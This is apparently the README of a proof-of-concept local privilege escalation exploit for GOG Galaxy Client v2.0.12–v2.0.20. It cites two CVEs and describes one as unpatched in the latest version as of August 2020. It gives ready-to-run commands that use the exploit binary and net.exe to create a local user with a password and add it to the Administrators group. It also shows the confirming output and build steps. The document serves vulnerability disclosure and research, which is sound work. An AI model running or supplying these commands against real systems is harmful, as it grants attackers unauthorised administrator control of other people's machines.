GOG Galaxy Client Service Proof-of-Concept Exploit

This is a proof-of-concept exploit for GOG Galaxy Client v2.0.12 - v2.0.20. It exploits the following vulnerabilities:

CVE ID	Reference	Fixed?
CVE-2020-7352	https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/	Yes, in v2.0.13
CVE-2020-24574	https://www.positronsecurity.com/blog/2020-08-13-gog-galaxy_client-local-privilege-escalation_deuce/	NO

Interestingly, on August 19, 2020, GOG released v2.0.20 with the change log that states, "*Security issue fix: Added checks that ensure the loaded .DLLs are genuine*". However, the v2 exploit, reported publicly on August 13, *still works!* This was reported to GOG support personnel, who responded on August 21 with: "The recent update to GOG GALAXY application (2.0.20) is unrelated to your report, it was released to address a different issue." It is unknown what vulnerability this update addresses.

As of this writing (August 25, 2020), this proof-of-concept is a **zero-day exploit** against the latest version of GOG Galaxy (v2.0.20).

Example

To create a new user, then add that user to the local `Administrators` group, execute the following two commands:

```
galaxy_dll_inject_privesc.exe --key2 C:\Windows\System32\net.exe "user jtesta Abc*123Lol /add" "C:\\"
galaxy_dll_inject_privesc.exe --key2 C:\Windows\System32\net.exe "localgroup Administrators jtesta /add" "C:\\"
```

To verify that the administrator user was successfully created, execute `net user jtesta`:

```
User name                    jtesta
[...]
Local Group Memberships      *Administrators       *Users
[...]
The command completed successfully.
```

Compiling From Source

The MinGW toolchain on Linux is necessary. Install the prerequisites with:

```
# apt install build-essential gcc-mingw-w64-i686
```

Then simply type `make` to compile.